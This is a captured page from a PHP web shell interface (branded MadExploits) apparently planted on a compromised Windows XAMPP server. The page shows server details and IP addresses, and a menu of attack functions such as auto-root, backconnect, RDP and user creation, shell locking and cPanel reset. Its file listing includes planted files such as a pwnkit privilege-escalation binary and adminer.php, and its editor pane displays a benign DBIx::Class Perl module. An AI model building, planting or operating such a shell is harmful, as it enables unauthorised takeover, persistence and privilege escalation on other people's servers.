Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
DBIx /
Class /
Relationship /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
Accessor.pm
3.66
KB
-rw-rw-rw-
Base.pm
29.87
KB
-rw-rw-rw-
BelongsTo.pm
2.54
KB
-rw-rw-rw-
CascadeActions.pm
2.02
KB
-rw-rw-rw-
HasMany.pm
1.44
KB
-rw-rw-rw-
HasOne.pm
3.23
KB
-rw-rw-rw-
Helpers.pm
270
B
-rw-rw-rw-
ManyToMany.pm
4.77
KB
-rw-rw-rw-
ProxyMethods.pm
1.36
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CascadeActions.pm
package # hide from PAUSE DBIx::Class::Relationship::CascadeActions; use strict; use warnings; use DBIx::Class::Carp; use namespace::clean; our %_pod_inherit_config = ( class_map => { 'DBIx::Class::Relationship::CascadeActions' => 'DBIx::Class::Relationship' } ); sub delete { my ($self, @rest) = @_; return $self->next::method(@rest) unless ref $self; # I'm just ignoring this for class deletes because hell, the db should # be handling this anyway. Assuming we have joins we probably actually # *could* do them, but I'd rather not. my $source = $self->result_source; my %rels = map { $_ => $source->relationship_info($_) } $source->relationships; my @cascade = grep { $rels{$_}{attrs}{cascade_delete} } keys %rels; if (@cascade) { my $guard = $source->schema->txn_scope_guard; my $ret = $self->next::method(@rest); foreach my $rel (@cascade) { if( my $rel_rs = eval{ $self->search_related($rel) } ) { $rel_rs->delete_all; } else { carp "Skipping cascade delete on relationship '$rel' - related resultsource '$rels{$rel}{class}' is not registered with this schema"; next; } } $guard->commit; return $ret; } $self->next::method(@rest); } sub update { my ($self, @rest) = @_; return $self->next::method(@rest) unless ref $self; # Because update cascades on a class *really* don't make sense! my $source = $self->result_source; my %rels = map { $_ => $source->relationship_info($_) } $source->relationships; my @cascade = grep { $rels{$_}{attrs}{cascade_update} } keys %rels; if (@cascade) { my $guard = $source->schema->txn_scope_guard; my $ret = $self->next::method(@rest); foreach my $rel (@cascade) { next if ( $rels{$rel}{attrs}{accessor} && $rels{$rel}{attrs}{accessor} eq 'single' && !exists($self->{_relationship_data}{$rel}) ); $_->update for grep defined, $self->$rel; } $guard->commit; return $ret; } $self->next::method(@rest); } 1;
Close